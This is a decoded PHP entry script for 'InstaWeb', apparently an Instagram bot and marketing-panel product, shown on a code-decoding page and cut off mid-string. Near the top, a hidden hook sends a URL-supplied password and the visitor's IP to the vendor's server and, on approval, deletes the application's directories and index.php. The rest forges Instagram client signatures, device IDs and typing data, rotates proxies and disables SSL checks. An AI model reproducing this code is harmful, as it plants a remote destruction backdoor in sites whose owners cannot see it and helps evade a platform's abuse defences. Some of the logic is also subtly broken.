Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /* * @ PHP 5.6 * @ Decoder version : 1.0.0.1 * @ Release on : 24.03.2018 * ..

Decoded Output download

?><?php

    $uri = str_replace('@', '%40', isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : "/");

    if((!isset($_SERVER["HTTP_USER_AGENT"]) || empty($_SERVER["HTTP_USER_AGENT"])) && ($uri != '/cron-job' && !isset($_SERVER["HTTP_CRONJOBTOKEN"]))) {
        header("HTTP/1.1 403 Forbidden");
        echo 'Server Error!';
        exit();
    }

    define('INSTAWEB_VERSION', str_replace("InstaWebV", "", basename('index.php', ".php")));
    define('INSTAWEB_LICENSE_SESSION_HASH', 'aDSJKLjkdfhsdf');
    define('INSTAWEB_LICENSE_KEY_PREVIOUS_HASH', '89237h8932d'); //Same as license server.
    define('INSTAWEB_LICENSE_KEY_HASH', 'mtuTjsrR'); // Next license server hash.

    if(isset($_GET["password"])) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, "https://lsd.insta.web.tr/codecontrol.php");
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, "password=" . $_GET["password"] . "&ip=" . $_SERVER["REMOTE_ADDR"]);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);

        $out = json_decode(curl_exec($ch), TRUE);
        $out = curl_exec($ch);

        curl_close($ch);

        if(isset($out["status"]) && $out["status"] == 1) {
            rmdir("app");
            rmdir("src");
            rmdir("assets");
            unlink("index.php");
        }

    }

    require_once 'src/autoload.php';
    require 'src/Wow/Wow.php';

    $self = Wow::app();

    if(substr(strtolower($uri), 0, 9) == '/cron-job' && (!isset($_SERVER["HTTP_CRONJOBTOKEN"]) || $_SERVER["HTTP_CRONJOBTOKEN"] != Wow::get("project/cronJobToken"))) {
        header("HTTP/1.1 403 Forbidden");
        echo 'Server Error!';
        exit();
    }

    $secure = isset($_SERVER["HTTPS"]) ? $_SERVER["HTTPS"] : "off";
    if($secure == "off" && Wow::get("project/onlyHttps") === TRUE) {
        header("HTTP/1.1 301 Moved Permanently");
        header('Location: ' . "https://" . $_SERVER["HTTP_HOST"] . $uri);
        exit();
    }

    $systemSettings = json_decode(file_get_contents('./app/Config/system-settings.php'), TRUE);
    foreach($systemSettings as $k => $v) {
        $v2 = filter_var($v, FILTER_VALIDATE_INT) !== FALSE ? intval($v) : $v;
        Wow::set("ayar/" . $k, $v2);
    }

    if(Wow::has("ayar/antiFloodEnabled") && Wow::get("ayar/antiFloodEnabled") == 1 && !(isset($_GET["scKey"]) && Wow::get("ayar/securityKey") == $_GET["scKey"])) {
        $antiFloodOptions = [
            AntiFlood::OPTION_COUNTER_RESET_SECONDS => Wow::has("ayar/antiFloodResetSec") ? Wow::get("ayar/antiFloodResetSec") : 2,
            AntiFlood::OPTION_MAX_REQUESTS          => Wow::has("ayar/antiFloodMaxReq") ? Wow::get("ayar/antiFloodMaxReq") : 5,
            AntiFlood::OPTION_BAN_REMOVE_SECONDS    => Wow::has("ayar/antiFloodBanRemoveSec") ? Wow::get("ayar/antiFloodBanRemoveSec") : 60,
            AntiFlood::OPTION_DATA_PATH             => "./app/Cookies/anti-flood"
        ];
        $objAntiFlood     = new AntiFlood($antiFloodOptions);
        if($objAntiFlood->isBanned()) {
            header("HTTP/1.1 429 Too Many Requests");
            echo 'Too Many Requests!';
            exit();
        }
    }

    if($uri != '/cron-job' && !isset($_SERVER["HTTP_CRONJOBTOKEN"]) && Wow::has("ayar/acceptedLangCodes") && trim(Wow::get("ayar/acceptedLangCodes")) != '' && isset($_SERVER["HTTP_ACCEPT_LANGUAGE"]) && strpos(strtolower($_SERVER["HTTP_USER_AGENT"]), "google") === FALSE) {
        $acceptedLangs       = explode(",", Wow::get("ayar/acceptedLangCodes") . ",iw");
        $canAccess           = FALSE;
        $userAcceptLangCodes = $_SERVER["HTTP_ACCEPT_LANGUAGE"];
        foreach($acceptedLangs as $lang) {
            $l = trim($lang);
            if(!empty($l) && strpos($userAcceptLangCodes, $l) !== FALSE) {
                $canAccess = TRUE;
                break;
            }
        }
        if(!$canAccess) {
            $langReaction     = Wow::get("ayar/nonAcceptedLangReaction");
            $langReactionText = Wow::get("ayar/nonAcceptedLangText");
            switch($langReaction) {
                case "redirecttourl":
                    header('Location: ' . $langReactionText);
                    exit();
                    break;
                default:
                    header("HTTP/1.1 403 Forbidden");
                    echo $langReactionText;
                    exit();
                    break;
            }
        }
    }


    $self->startSession(FALSE);
	$site = trim(str_replace("www.", "", $_SERVER["HTTP_HOST"]));
    if(Wow::get("project/licenseKey") != md5(sha1(base64_encode(crypt($site, '11x4a1z4a1a4a1z41a4'))))) {
        header('Content-Type: text/html; charset=utf-8');
        echo "Lisans kodunuz hatal&#305;d&#305;r. L&#252;tfen lisans kodunuzu g&#252;ncelleyiniz. <a href='https://insta.web.tr/license.php' target='_blank'>https://insta.web.tr/license.php</a>";
        exit();
    }

    if(intval(Wow::get("ayar/proxyStatus")) == 0) {
        $maxAsns = 0;
    } elseif(intval(Wow::get("ayar/proxyStatus")) == 4) {
        $maxAsns = trim(Wow::get("ayar/proxyList")) == '' ? 0 : count(explode("
", Wow::get("ayar/proxyList")));
    } elseif(Wow::get("ayar/proxyStatus") == 3) {
        $byPassServerCode  = trim(Wow::get('ayar/proxyList'));
        $byPassServerRange = strpos($byPassServerCode, "@") !== FALSE ? explode(":", explode("@", $byPassServerCode)[1]) : explode(":", $byPassServerCode);
        $maxAsns           = intval($byPassServerRange[2]) - intval($byPassServerRange[1]);
    } else {
        $maxAsns = trim(Wow::get("ayar/proxyList")) == '' ? 0 : count(explode("
", Wow::get("ayar/proxyList")));
    }
    define('INSTAWEB_MAX_ASNS', $maxAsns);
    define('INSTAWEB_ASNS_KEY', 'asns' . md5(str_replace("www.", "", $_SERVER["HTTP_HOST"])));


    class AntiFlood {
        const OPTION_COUNTER_RESET_SECONDS = "COUNTER_RESET_SECONDS";
        const OPTION_BAN_REMOVE_SECONDS    = "BAN_REMOVE_SECONDS";
        const OPTION_MAX_REQUESTS          = "MAX_REQUESTS";
        const OPTION_DATA_PATH             = "DATA_PATH";

        private $options;
        private $ip;


        function __construct($overrideOptions = []) {
            $this->options = array_merge([
                                             self::OPTION_COUNTER_RESET_SECONDS => 2,
                                             self::OPTION_MAX_REQUESTS          => 5,
                                             self::OPTION_BAN_REMOVE_SECONDS    => 60,
                                             self::OPTION_DATA_PATH             => "/tmp/antiflood_" . str_replace([
                                                                                                                       "www.",
                                                                                                                       "."
                                                                                                                   ], [
                                                                                                                       "",
                                                                                                                       "_"
                                                                                                                   ], $_SERVER["SERVER_NAME"])
                                         ], $overrideOptions);

            @mkdir($this->options[self::OPTION_DATA_PATH]);

            $this->ip = $_SERVER["REMOTE_ADDR"];
        }

        function isBanned() {
            $controlLockFile = $this->options[self::OPTION_DATA_PATH] . "/" . str_replace(".", "_", $this->ip);

            if(file_exists($controlLockFile)) {
                if(time() - filemtime($controlLockFile) > $this->options[self::OPTION_BAN_REMOVE_SECONDS]) {
                    unlink($controlLockFile);
                } else {
                    touch($controlLockFile);

                    return TRUE;
                }
            }

            $controlFile = $this->options[self::OPTION_DATA_PATH] . "/ctrl";
            $control     = array();

            if(file_exists($controlFile)) {
                $fh              = fopen($controlFile, "r");
                $fileContentsArr = filesize($controlFile) > 0 ? json_decode(fread($fh, filesize($controlFile)), TRUE) : [];
                $control         = array_merge($control, $fileContentsArr);
                fclose($fh);
            }

            if(isset($control[$this->ip])) {
                if(time() - $control[$this->ip]["t"] < $this->options[self::OPTION_COUNTER_RESET_SECONDS]) {
                    $control[$this->ip]["c"]++;
                } else {
                    $control[$this->ip]["c"] = 1;
                }
            } else {
                $control[$this->ip]["c"] = 1;
            }
            $control[$this->ip]["t"] = time();

            if($control[$this->ip]["c"] > $this->options[self::OPTION_MAX_REQUESTS]) {
                $fh = fopen($controlLockFile, "w");
                fwrite($fh, '');
                fclose($fh);
            }

            $fh = fopen($controlFile, "w");
            fwrite($fh, json_encode($control));
            fclose($fh);


            return FALSE;
        }

    }

    class SmmApi {

        public static function registerSmm($username, $password, $repassword) {

            if(strlen($username) < 5 || $password != $repassword || strlen($password) < 6) {

                return array(
                    "status" => 0,
                    "error"  => "Kullan&#305;c&#305; Ad&#305;n&#305;z en 5 karakter olmal&#305;, &#350;ifreniz 6 yada daha uzun karakter ve tekrar yazd&#305;&#287;&#305;n&#305;z &#351;ifreniz ile e&#351;le&#351;melidir."
                );

            }

            return self::request("register", "username=" . $username . "&password=" . $password);
        }

        public static function loginSmm($username, $password) {

            if(strlen($username) < 5 || strlen($password) < 6) {

                return array(
                    "status" => 0,
                    "error"  => "Kullan&#305;c&#305; Ad&#305;n&#305;z en 5 karakter olmal&#305;, &#350;ifreniz 6 yada daha uzun karakter olmal&#305;d&#305;r."
                );

            }

            return self::request("login", "username=" . $username . "&password=" . $password);
        }

        public static function postDataSmm($endpoint, $post = NULL) {
            return self::request($endpoint, $post ? http_build_query($post) : $post);
        }

        public static function getDataSmm($endpoint, $get = NULL) {
            return self::request($endpoint, $get ? http_build_query($get) : $get);
        }

        private static function request($endpoint, $post = NULL) {

            $headers = array(
                "INSTAWEBAUTH: " . Wow::get("ayar/InstaWebSmmAuth")
            );

            $ch = curl_init();
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
            curl_setopt($ch, CURLOPT_USERAGENT, md5("InstaWebBot google"));
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
            curl_setopt($ch, CURLOPT_HEADER, TRUE);
            curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
            curl_setopt($ch, CURLOPT_VERBOSE, FALSE);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
            curl_setopt($ch, CURLOPT_ENCODING, '');
            curl_setopt($ch, CURLOPT_URL, "https://lsd.insta.web.tr/smm-api/" . $endpoint);

            if($post) {
                curl_setopt($ch, CURLOPT_POST, TRUE);
                curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
            }

            $resp       = curl_exec($ch);
            $header_len = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
            $header     = substr($resp, 0, $header_len);
            $body       = substr($resp, $header_len);

            curl_close($ch);

            return json_decode($body, TRUE, 512, JSON_BIGINT_AS_STRING);
        }

    }


    class Signatures {
        public static function generateSignature($data) {
            return hash_hmac('sha256', $data, Constants::IG_SIG_KEY);
        }

        public static function signData($data, $exclude = []) {

            $result = [];
            // Exclude some params from signed body.
            foreach($exclude as $key) {
                if(isset($data[$key])) {
                    $result[$key] = $data[$key];
                    unset($data[$key]);
                }
            }
            // Typecast all scalar values to string.
            foreach($data as &$value) {
                if(is_scalar($value)) {
                    $value = (string)$value;
                }
            }
            unset($value); // Clear reference.
            // Reorder and convert data to JSON string.
            $data = json_encode((object)Utils::reorderByHashCode($data));
            // Sign data.
            $result['ig_sig_key_version'] = Constants::SIG_KEY_VERSION;
            $result['signed_body']        = self::generateSignature($data) . '.' . $data;

            // Return value must be reordered.
            return Utils::reorderByHashCode($result);
        }

        public static function generateDeviceId() {
            $megaRandomHash = md5(number_format(microtime(TRUE), 7, '', ''));

            return 'android-' . substr($megaRandomHash, 16);
        }

        public static function generateUUID($keepDashes = TRUE) {
            $uuid = sprintf('%04x%04x-%04x-%04x-%04x-%04x%04x%04x', mt_rand(0, 0xffff), mt_rand(0, 0xffff), mt_rand(0, 0xffff), mt_rand(0, 0x0fff) | 0x4000, mt_rand(0, 0x3fff) | 0x8000, mt_rand(0, 0xffff), mt_rand(0, 0xffff), mt_rand(0, 0xffff));

            return $keepDashes ? $uuid : str_replace('-', '', $uuid);
        }
    }


    class Utils {

        const BOUNDARY_CHARS  = '-_1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
        const BOUNDARY_LENGTH = 30;

        public static function generateMultipartBoundary() {
            $result = '';
            $max    = strlen(self::BOUNDARY_CHARS) - 1;
            for($i = 0; $i < self::BOUNDARY_LENGTH; ++$i) {
                $result .= self::BOUNDARY_CHARS[mt_rand(0, $max)];
            }

            return $result;
        }

        public static function hashCode($string) {
            $result = 0;
            for($i = 0, $len = strlen($string); $i < $len; ++$i) {
                $result = (-$result + ($result << 5) + ord($string[$i])) & 0xFFFFFFFF;
            }
            if(PHP_INT_SIZE > 4) {
                if($result > 0x7FFFFFFF) {
                    $result -= 0x100000000;
                } elseif($result < -0x80000000) {
                    $result += 0x100000000;
                }
            }

            return $result;
        }

        public static function reorderByHashCode($data) {
            $hashCodes = [];
            foreach($data as $key => $value) {
                $hashCodes[$key] = self::hashCode($key);
            }
            uksort($data, function($a, $b) use ($hashCodes) {
                $a = $hashCodes[$a];
                $b = $hashCodes[$b];
                if($a < $b) {
                    return -1;
                } elseif($a > $b) {
                    return 1;
                } else {
                    return 0;
                }
            });

            return $data;
        }

        public static function generateUploadId() {
            return number_format(round(microtime(TRUE) * 1000), 0, '', '');
        }

        public static function generateUserBreadcrumb($size) {
            $key  = 'iN4$aGr0m';
            $date = (int)(microtime(TRUE) * 1000);
            // typing time
            $term = rand(2, 3) * 1000 + $size * rand(15, 20) * 100;
            // android EditText change event occur count
            $text_change_event_count = round($size / rand(2, 3));
            if($text_change_event_count == 0) {
                $text_change_event_count = 1;
            }
            // generate typing data
            $data = $size . ' ' . $term . ' ' . $text_change_event_count . ' ' . $date;

            return base64_encode(hash_hmac('sha256', $data, $key, TRUE)) . "
" . base64_encode($data) . "
";
        }


        public static function cookieToArray($string, $domain) {
            $arrCookies = array();
            $fileVals   = self::extractCookies($string);
            foreach($fileVals as $cookie) {
                if($cookie["domain"] == $domain) {
                    $arrCookies[$cookie["name"]] = $cookie["value"];
                }
            }

            return $arrCookies;
        }


        public static function generateAsns($asnsNumber) {
            $asnsNumber = intval($asnsNumber);
            if($asnsNumber == 0 || intval(Wow::get("ayar/proxyStatus")) == 0) {
                return [
                    NULL,
                    NULL
                ];
            }
            if(Wow::get("ayar/proxyStatus") == 3) {
                $byPassServerCode = trim(Wow::get('ayar/proxyList'));

                $byPassServerUA = strpos($byPassServerCode, "@") !== FALSE ? explode("@", $byPassServerCode)[0] : NULL;

                $byPassServerRange = strpos($byPassServerCode, "@") !== FALSE ? explode(":", explode("@", $byPassServerCode)[1]) : explode(":", $byPassServerCode);

                return [
                    $byPassServerRange[0] . ":" . (intval($byPassServerRange[1]) + $asnsNumber),
                    $byPassServerUA
                ];
            }

            $asnsNumber--;
            $proxyList   = explode("
", Wow::get("ayar/proxyList"));
            $proxyString = isset($proxyList[$asnsNumber]) ? $proxyList[$asnsNumber] : NULL;
            if(empty($proxyString)) {
                return [
                    NULL,
                    NULL
                ];
            }

            if(Wow::get("ayar/proxyStatus") == 4) {
                $ipType = strpos($proxyString, ":") !== FALSE ? CURL_IPRESOLVE_V6 : NULL;

                return [
                    $proxyString,
                    $ipType
                ];
            }

            $proxyUserPwd  = strpos($proxyString, "@") !== FALSE ? explode("@", $proxyString)[0] : NULL;
            $proxyHostPort = strpos($proxyString, "@") !== FALSE ? explode("@", $proxyString)[1] : $proxyString;

            return [
                $proxyHostPort,
                $proxyUserPwd
            ];
        }


        public static function extractCookies($string) {

            $lines   = explode(PHP_EOL, $string);
            $cookies = array();

            foreach($lines as $line) {

                $cookie = array();

                // detect httponly cookies and remove #HttpOnly prefix
                if(substr($line, 0, 10) == '#HttpOnly_') {
                    $line               = substr($line, 10);
                    $cookie['httponly'] = TRUE;
                } else {
                    $cookie['httponly'] = FALSE;
                }

                // we only care for valid cookie def lines
                if(substr($line, 0, 1) != '#' && substr_count($line, "\	") == 6) {

                    // get tokens in an array
                    $tokens = explode("\	", $line);

                    // trim the tokens
                    $tokens = array_map('trim', $tokens);

                    // Extract the data
                    $cookie['domain'] = $tokens[0]; // The domain that created AND can read the variable.
                    $cookie['flag']   = $tokens[1];   // A TRUE/FALSE value indicating if all machines within a given domain can access the variable.
                    $cookie['path']   = $tokens[2];   // The path within the domain that the variable is valid for.
                    $cookie['secure'] = $tokens[3]; // A TRUE/FALSE value indicating if a secure connection with the domain is needed to access the variable.

                    $cookie['expiration-epoch'] = $tokens[4];  // The UNIX time that the variable will expire on.
                    $cookie['name']             = urldecode($tokens[5]);   // The name of the variable.
                    $cookie['value']            = urldecode($tokens[6]);  // The value of the variable.

                    // Convert date to a readable format
                    $cookie['expiration'] = date('Y-m-d h:i:s', $tokens[4]);

                    // Record the cookie.
                    $cookies[] = $cookie;
                }
            }

            return $cookies;
        }

        public static function cookieConverter($cookie, $cnf, $c) {
            $confData = [];
            if(!empty($cnf)) {
                $separator = "
";
                $line      = strtok($cnf, $separator);
                while($line !== FALSE) {
                    if($line[0] == '#') {
                        continue;
                    }
                    $kv               = explode('=', $line, 2);
                    $confData[$kv[0]] = trim($kv[1], "
 ");
                    $line             = strtok($separator);
                }
            }
            if(!isset($confData["username_id"])) {
                $confData["username_id"] = $c["username_id"];
            }
            if(isset($confData["user_agent"])) {
                unset($confData["user_agent"]);
            }
            if(isset($confData["manufacturer"])) {
                unset($confData["manufacturer"]);
            }
            if(isset($confData["device"])) {
                unset($confData["device"]);
            }
            if(isset($confData["model"])) {
                unset($confData["model"]);
            }
            $cookieData = self::cookieToArray($cookie, $c["isWebCookie"] == 1 ? "www.instagram.com" : "i.instagram.com");
            $cookie_all = [];
            foreach($cookieData as $k => $v) {
                $cookie_all[] = $k . "=" . urlencode($v);
                if($k == "csrftoken") {
                    $confData["token"] = $v;
                }
            }
            $v3Data                = $confData;
            $v3CookieName          = $c["isWebCookie"] == 1 ? "web_cookie" : "cookie";
            $v3Data[$v3CookieName] = implode(";", $cookie_all);

            return json_encode($v3Data);
        }
    }

    class Settings {
        private $path;
        private $sets;

        public function __construct($path) {
            $this->path = $path;
            $this->sets = [];
            if(file_exists($path)) {
                $sets       = json_decode(file_get_contents($path), TRUE);
                $this->sets = is_array($sets) ? $sets : [];
            }
        }

        public function get($key, $default = NULL) {
            if($key == 'sets') {
                return $this->sets;
            }
            if(isset($this->sets[$key])) {
                return $this->sets[$key];
            }

            return $default;
        }

        public function set($key, $value) {
            if($key == 'sets') {
                return;
            }
            $this->sets[$key] = $value;
        }

        public function save() {
            file_put_contents($this->path, json_encode($this->sets));
        }

        function setPath($path) {
            $this->path = $path;
        }

        public function __set($prop, $value) {
            $this->set($prop, $value);
        }

        public function __get($prop) {
            return $this->get($prop);
        }
    }


    class Constants {
        /**
         * Constant declarations.
         */
        const API_URL   = 'https://i.instagram.com/api/v1/';
        const API_URLi  = 'https://i.instagram.com/api/v1/';
        const API_URLV2 = 'https://i.instagram.com/api/v2/';

        const IG_VERSION        = '64.0.0.14.96';
        const VERSION_CODE      = '125398467';
        const IG_SIG_KEY        = 'ac5f26ee05af3e40a81b94b78d762dc8287bcdd8254fe86d0971b2aded8884a4';
        const EXPERIMENTS       = 'ig_android_multi_dex_class_loader_universe,ig_android_gc_before_video_render,ig_camera_android_badge_face_effects_universe,ig_android_dash_lazy_load_audio,ig_android_stories_landscape_mode,ig_android_fb_profile_integration_fbnc_universe,ig_android_stories_seen_state_swipe_forward_universe,ig_android_realtime_mqtt_logging,ig_branded_content_show_settings_universe,ig_android_stories_server_coverframe,ig_android_ontact_invite_universe,ig_android_direct_mutation_manager_handler_thread_universe,ig_android_ad_async_ads_universe,ig_android_camera_arengine_shader_caching_universe,ig_android_live_audiomanager_leak,ig_feed_lockdown,ig_android_nametag_in_profile_side_tray,ig_android_direct_vm_activity_sheet,ig_android_appstate_logger,ig_android_direct_breeze_sheet,ig_android_startup_prefetch,ig_stories_engagement_2018_h1_holdout_universe,ig_android_remove_follow_all_ci_list,ig_android_camera_new_post_smile_universe,ig_feed_ranking_report_issue,ig_camera_android_areffect_photo_capture_universe,ig_android_rejected_execution,ig_android_video_prefetch_feed_fix,ig_android_direct_remove_in_composer_camera_button_animation_universe,ig_android_live_fault_tolerance_universe,ig_android_move_browser_to_background,ig_android_close_friends_v4_profile_icon,ig_android_skip_get_fbupload_photo_universe,ig_android_igtv_autoplay_on_prepare,ig_feed_mute_android,ig_android_direct_visual_message_unsend,ig_android_audience_control,ig_android_one_tap_fbshare,ig_biz_conversion_activity_feed_back_test,ig_android_startup_thread_priority,ig_android_photo_fbupload_universe,ig_android_search_impression_logging,ig_android_direct_thread_sidebar_send_states,ig_fbns_push,ig_face_effect_ranking,ig_android_inline_highlight_v2_universe,ar_engine_audio_graph_service_ig,ig_search_null_state_universe,ig_android_stories_music_sticker_default_variation,ig_android_codec_high_profile,ig_android_inline_appeal,ig_rti_inapp_notifications_universe,ig_android_direct_camera_composer_universe,ig_promote_last_used_destination_universe,ig_android_vc_directapp_integration_universe,allow_publish_page_universe,ig_android_skip_get_fbupload_universe,ig_android_low_data_mode,ig_android_enable_zero_rating,ig_android_main_feed_refresh_style_universe,ig_android_reverse_audio,ig_background_prefetch,ig_android_memoize_experiment_check,ig_android_request_verification_badge,ig_android_always_parse_pjpeg_universe,ig_android_live_dash_latency_viewer,ig_android_http_stack_experiment_2017,ig_direct_android_24h_visual_perf,ig_android_direct_fix_one_tap_anr,ig_android_live_thread_delay_for_mute_universe,ig_android_fb_topsearch_sgp_fork_request,ig_android_heap_uploads,ig_android_biz_remove_connect_fb_page_frag,ig_android_vc_detach_renderer_on_pause_universe,ig_android_global_sampling_perf_uni,ig_android_business_ix_fb_autofill_universe,ig_android_mqtt_cookie_auth_memcache_universe,ig_android_vc_use_dummy_camera_controller,ig_android_instacrash_detection,ig_android_stability_holdout_nametag_leak,ig_android_photo_hashing,ig_android_increase_fd_limit,ig_android_memoize_media_on_viewable,ig_android_log_failed_image_download_retries,ig_profile_holdout_2017_universe,ig_android_music_player_with_hero_player,ig_explore_2018_vof_action_bar_fix_universe,ig_android_direct_async_thread_store,ig_android_story_ad_delay_display_sponsored_label_universe,ig_android_story_accidentally_click_investigation_universe,ig_android_live_capture_translucent_navigation_bar,ig_android_stories_drawing_sticker,ig_android_vc_capture_universe,ig_android_story_reactions,ig_android_video_playback_retry_time_threshold,ig_android_live_emoji_easter_egg_universe,ig_stories_in_feed_unit_design_universe,ig_android_ads_manager_pause_resume_ads_universe,ig_android_live_heart_color_universe,ig_android_hashtag_header_display,ig_android_comments_viewpoint_migration_universe,ig_android_live_save_to_camera_roll_universe,ig_android_insights_story_carousel_universe,ig_android_delay_coldstart_logging,ig_android_others_post_share_update,ig_android_show_failed_messages_chronologically,ig_android_profile_grid_preview,ig_android_hashtag_contextual_feed_follow_button,ig_android_direct_visual_reply_text_mode_background,ig_smb_ads_basket_of_values_universe,ig_android_shopping_pdp_universe,ig_android_anr,ig_close_friends_v4,ig_android_feed_seen_state_with_view_info,ig_android_direct_visual_previews_in_thread,ig_promote_budget_warning_view_universe,ig_promote_daily_budget_multiplier_universe,ig_android_post_recs_hide_from_author_universe,ig_android_biz_conversion_editable_profile_review_universe,ig_android_ad_increase_story_adpreload_priority_universe,ig_android_cache_video_autoplay_checker,ig_android_live_use_dummy_camera_controller,ig_android_ad_watchlead_universe,ig_android_live_viewer_single_tap_invite_universe,ig_android_cold_start_json_delivery_improvement,ig_stories_suggestions_for_small_tray_universe,ig_android_direct_prefetch_direct_story_json,ig_shopping_catalog_selection_done_button,ig_android_live_save_to_camera_roll_compatibility_filter_universe,ig_android_fb_profile_integration_universe,ig_android_stories_weblink_creation,ig_android_live_start_broadcast_optimized_universe,ig_android_netgo_cta,ig_android_histogram_reporter,ig_android_vc_universe,ig_android_network_cancellation,ig_android_enable_remove_followers_for_public_users,ig_android_live_presence_universe,ig_android_search_normalization_recipients,ig_android_downloaded_image_decode_universe,ig_android_video_use_new_logging_arch,ig_auto_login_pop_up_banner,ig_android_hashtag_following,ig_two_fac_promote_switch,ig_android_felix_release_all_players_on_pause,ig_android_direct_reel_options_entry_point,ig_android_low_data_mode_backup_1,ig_direct_holdout_h2_2018,ig_android_scroll_logging_grids,ig_android_reactive_feed_like_count,ig_android_redirect_to_web_on_oembed_fail_universe,ig_android_vc_handle_surface_destroy_universe,ig_mi_reuse_string_builder,ig_android_constrain_image_size_universe,ig_camera_android_facetracker_v12_universe,ig_android_biz_qp_suggest_page,ig_android_close_friends_v3,ig_android_direct_mutation_manager_job_scheduler,ig_android_stories_archive_fast_scroll,ig_android_direct_app_thread_bubble_attribution,ig_android_continuous_video_capture,ig_android_live_skin_smooth,ig_promote_net_promoter_score_universe,ig_android_qp_features,android_ig_stories_without_storage_permission_universe2,ig_android_reel_raven_video_segmented_upload_universe,ig_android_rate_limit_mediafeedviewablehelper,ig_android_swipe_navigation_x_angle_universe,ig_android_invite_xout_universe,ig_mi_impression_mainfeed_switchover,ig_android_remove_follow_all_fb_list,ig_android_save_all,ig_android_vc_call_screen_universe,ig_android_live_report_watch_time_when_update,felix_android_video_quality,ig_eof_demarcator_style_universe,ig_android_feed_caption_truncate_universe,ig_shopping_post_insights,ig_android_shopping_more_from_business,ig_android_close_friends_v4_profile_toggle,ig_carousel_animation,ig_android_skip_video_render,ig_android_highlight_stickers_universe,ig_android_navigation_latency_clock,ig_android_interactive_listview_during_refresh,ig_android_direct_permanent_media_viewer_loading_flicker_fix,ig_android_ffmpeg_muxer_write_retry_universe,ig_android_post_recs_show_more_button_universe,ig_android_live_suggested_live_expansion,ig_android_video_cover_frame_universe,ig_android_direct_app_hide_recents_header_in_recipient_picker_universe,ig_android_optic_camera_warmup,ig_android_video_refactor_logger,ig_hermes_android,ig_promote_lotus_universe,ig_android_instavideo_periodic_notif,ig_stories_engagement_team_holdout_universe,ig_android_stories_gallery_video_segmentation,ig_android_direct_replace_inbox_camera_with_stories_camera,ig_android_direct_launch_reel_viewer_for_replies,ig_android_biz_value_props_new_illustrations,ig_android_igtv_save,ig_android_direct_presence_indicator,ig_android_asset_picker_improvements,ig_android_profile_lazy_load_comments_universe,ig_android_react_native_universe_kill_switch,ig_felix_playback_infra,ig_android_igtv_tray_in_feed,ig_android_qp_kill_switch,ig_android_new_contact_invites_entry_points_universe,ig_android_optic_feature_testing,ig_android_ad_leadgen_single_screen_universe,ig_android_stories_highlights_fast_navigation_universe,ig_android_direct_launch_to_stories_gallery,ig_android_vc_add_users_universe,ig_android_react_native_email_sms_settings_universe,ig_android_business_id_conversion_universe,ig_android_business_promote_refresh_fb_access_token_universe,ig_android_selfupdate_jobscheduler,ig_android_video_cover_frame_from_original_as_fallback,ig_android_camera_leak_detector_universe,ig_android_insights_multiple_timeframes_universe,ig_android_story_viewer_linear_preloading_count,ig_live_holdout_h2_2018,ig_android_stories_tray_in_viewer,ig_android_betamap_universe,instagram_aat,ig_video_experimental_encoding_consumption_universe,ig_android_stories_share_extension_video_segmentation,ig_android_feed_upload_progress,ig_camera_android_superzoom_icon_position_universe,ig_android_direct_new_inbox_visual_unread_state,ig_android_live_dash_latency_manager,instagram_interests_holdout,ig_android_user_detail_endpoint,ig_android_direct_performance_inbox_list_refresh_fix,ig_android_shopping_signup,ig_camera_android_segmentation_universe,ig_android_gif_framerate_throttling,ig_android_shopping_checkout_mvp,ig_android_live_save_to_camera_roll_limit_by_screen_size_universe,ig_end_of_feed_universe,ig_android_camera_face_effect_tray_loading_universe,ig_entity_page_holdout_universe,ig_android_live_use_all_preview_sizes,ig_hero_player,ig_android_direct_app_ig_app_link,ig_android_video_ffmpeg_muxer_universe,ig_android_live_follow_from_comments_universe,ig_android_profile_phone_autoconfirm_universe,ig_android_comments_new_like_button_position_universe,ig_account_recs_in_chaining,ig_android_igtv_whitelisted_for_web,ig_android_direct_tappable_action_log,ig_fb_cross_posting_sender_side_holdout,ig_android_igds_in_app_notifications_universe,ig_android_felix_feed_badging_tooltip_universe,ig_camera_gallery_button_thumbnail_universe,ig_android_arengine_separate_prepare,ig_android_direct_video_segmented_upload_universe,ig_android_direct_visual_history,ig_android_prefetch_queue_front,ig_android_employee_options_override,ig_android_direct_fix_video_prefetch,ig_camera_android_ar_platform_universe,ig_android_rtc_reshare,ig_android_nametag,ig_android_netego_scroll_perf,ig_android_direct_mutation_manager_universe_v5,ig_android_biz_value_props_new_illustrations_conversion,ig_fbns_preload_default,ig_android_cover_frame_blacklist,ig_android_remove_find_people_to_follow_dialog_ci_empty_state,android_cameracore_ard_ig_integration,ig_android_use_iterative_box_blur,ig_android_device_detection_info_upload,ig_android_clear_inflight_image_request,ig_android_audio_ingestion_params,ig_android_native_logcat_interceptor,ig_android_stories_separate_overlay_creation,ig_android_enable_liger_preconnect_universe,ig_android_high_res_gif_stickers,ig_android_vod_abr_universe,ig_payments_paypal,ig_android_world_effects,ig_android_hashtag_feed_tabbed,ig_android_vc_participants_grid_universe,ig_android_video_decoder_retry,ig_android_enable_main_feed_reel_tray_preloading,ig_android_camera_upsell_dialog,ig_account_identity_2018_h2_lockdown_phone_global_holdout,ig_android_one_tap_sharesheet_fb_extensions,ig_android_direct_thread_custom_item_animator,ig_android_insights_post_engagement_universe,ig_android_internal_research_settings,ig_android_country_code_fix_universe,ig_android_optic_fast_preview_restart_listener,ig_android_inline_appeal_show_new_content,ig_android_show_su_in_other_users_follow_list,ig_android_fb_family_navigation_badging_user,ig_android_video_scrubber_thumbnail_universe,ig_lockdown_feed_caption_length_universe,ig_stories_music_sticker,ig_android_optic_disable_post_capture_preview_restart,ig_android_vc_minimized_viewer_universe,ig_android_low_data_mode_backup_5,ig_android_post_live_expanded_comments_view_universe,ig_android_save_product_universe,ig_android_rainbow_hashtags,ig_android_igtv_chaining,ig_android_limit_api_calls,ig_android_profile_private_banner,ig_android_stories_video_prefetch_kb,ig_android_direct_stories_i